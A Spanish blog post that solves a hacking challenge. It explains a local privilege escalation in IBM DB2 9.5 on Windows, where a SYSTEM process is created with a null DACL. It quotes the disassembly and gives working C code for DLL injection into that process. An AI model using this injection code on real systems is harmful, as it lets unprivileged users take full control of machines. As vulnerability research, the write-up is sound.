Solución al exploit4f00d #2
Visto que con las vacaciones, las prequals y demás todo el mundo ha pasado de este reto pues ya va siendo hora de sacar la solución. La falla en cuestión se encontraba en la base de datos Ora.., digo, IBM DB2 v9.5 para Windows y era una escalada de privilegios local.Esta falla era realmente fácil de encontrar: Descargamos el enorme paquete de instalación desde el sitio de IBM, lo instalamos y lo primero que haría cualquiera es ver con Process Explorer que es lo que hacen más o menos los servicios que instala. Como podéis ver en la siguiente imagen, el resto es tontería:
¿Alguna pregunta niñ@s? Todos los procesos que instala IBM DB2 en Windows se ejecutan como NT AUTHORITY\SYSTEM, sin embargo, el proceso db2dasstm.exe se ejecuta de un modo chapucero consiguiendo que cualquiera pueda hacer lo que quiera con el proceso.
El proceso padre db2dassrm.exe ejecuta este proceso mediante una llamada a CreateProcessAsUser pasándole un descriptor de seguridad nulo. En el siguiente código ensamblador se muestra el fragmento en el que se crea el descriptor de seguridad:
lea eax, [ebp+pSecurityDescriptor]
push 1 ; dwRevision
push eax ; pSecurityDescriptor
call ds:InitializeSecurityDescriptor ; Create the Security Descriptor
test eax, eax
jz loc_407943
lea edx, [ebp+pSecurityDescriptor]
xor eax, eax ; Clear EAX
push eax ; bDaclDefaulted
push eax ; pDacl == 0, null DACL
push 1 ; bDaclPresent
push edx ; pSecurityDescriptor
call ds:SetSecurityDescriptorDacl ;
;SetSecurityDescriptorDacl(&pSecurityDescriptor, 1, 0, 0);
;Obviously, it leads to privilege scalation.
test eax, eax
jz loc_4078F6
mov edx, [ebp+var_C]
lea eax, [ebp+pSecurityDescriptor]
mov ecx, [edx+200h]
mov [ebp+ProcessAttributes.lpSecurityDescriptor], eax
;ProcessAttributes.lpSecurityDescriptor = pSecurityDescriptor;
Como se puede ver, el parámetro pDacl pasado para crear el descriptor es un 0, lo cual indica que no tiene ninguna lista de control de acceso asignada, otorgando privilegios a cualquier usuario del mundo mundial (osea, Bilbao). Según la documentación de Microsoft:
pDacl
A pointer to an ACL structure that specifies the DACL for the security descriptor. If this parameter is NULL, a NULL DACL is assigned to the security descriptor, which allows all access to the object. The DACL is referenced by, not copied into, the security descriptor.
La lista de acceso (pDacl) que se crea se asigna al miembro lpSecurityDescriptor de la estructura ProcessAtributes, utilizada a posteriori para la llamada a CreateProcessAsUser:
loc_40782D: ; CODE XREF: sub_407460+385
lea edi, [ebp+ProcessAttributes] ; EDI = ProcessAttributes
lea ecx, [ebp+StartupInfo]
lea edx, [ebp+ProcessInformation]
push edx ; lpProcessInformation
xor eax, eax
push ecx ; lpStartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push 8000200h ; dwCreationFlags
push eax ; bInheritHandles
push edi ; lpThreadAttributes -> Our ProcessAttributes
push edi ; lpProcessAttributes -> Our ProcessAttributes
lea edx, [ebp+CommandLine]
push edx ; lpCommandLine
push eax ; lpApplicationName
mov eax, [ebp+hObject]
push eax ; hToken
call ds:CreateProcessAsUserA ; Finally, create the process
mov [ebp+lstmtPath], eax
Los privilegios del proceso creado de este modo permiten que cualquier usuario del sistema pueda hacer lo que quiera con el proceso. ¿Qué hacer para aprovechar esta vulnerabilidad? Seguro que sabéis medios muy imaginativos pero, yo que soy un vago, me quedo con el DLL injection de toda la vida y a correr. Con el siguiente código, pasándole el PID del proceso que ha creado inyectará la DLL que nos dé la gana:
int mainLogic(int pid, char *dllName)
{
HANDLE hprocess;
LPVOID RemoteString, LoadLibAddy;printf(«[+] Using values %d and %s … \n«, pid, dllName);
// Open the process
hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (int)pid);if(!hprocess)
{
printf(«OpenProcess() failed: %d«, GetLastError());
return(1);
}// Get the address of LoadLibrary
LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle(_T(«kernel32.dll»)), «LoadLibraryA»);if(!LoadLibAddy)
{
printf(«GetProcAddress() failed: %d«, GetLastError());
return(1);
}// Reserve a region of pages in the virtual address space
RemoteString = (LPVOID)VirtualAllocEx(hprocess, NULL, strlen(dllName), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);if(!RemoteString)
{
printf(«VirtualAllocEx() failed: %d«, GetLastError());
return(1);
}// Write the DLL name to the process’s virtual address space
if(!WriteProcessMemory(hprocess, (LPVOID)RemoteString, dllName, strlen(dllName), NULL))
{
printf(«WriteProcessMemory() failed: %d«, GetLastError());
return(1);
}// Create a remote thread and pass as the callback the address of LoadLibraryA
if(!CreateRemoteThread(hprocess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL))
{
printf(«CreateRemoteThread() failed: %d«, GetLastError());
return(1);
}// Close the handle and exit
CloseHandle(hprocess);
return(0);
}
Una falla superobvia que se encuentra con tan solo 5 minutos de auditoría «por encima».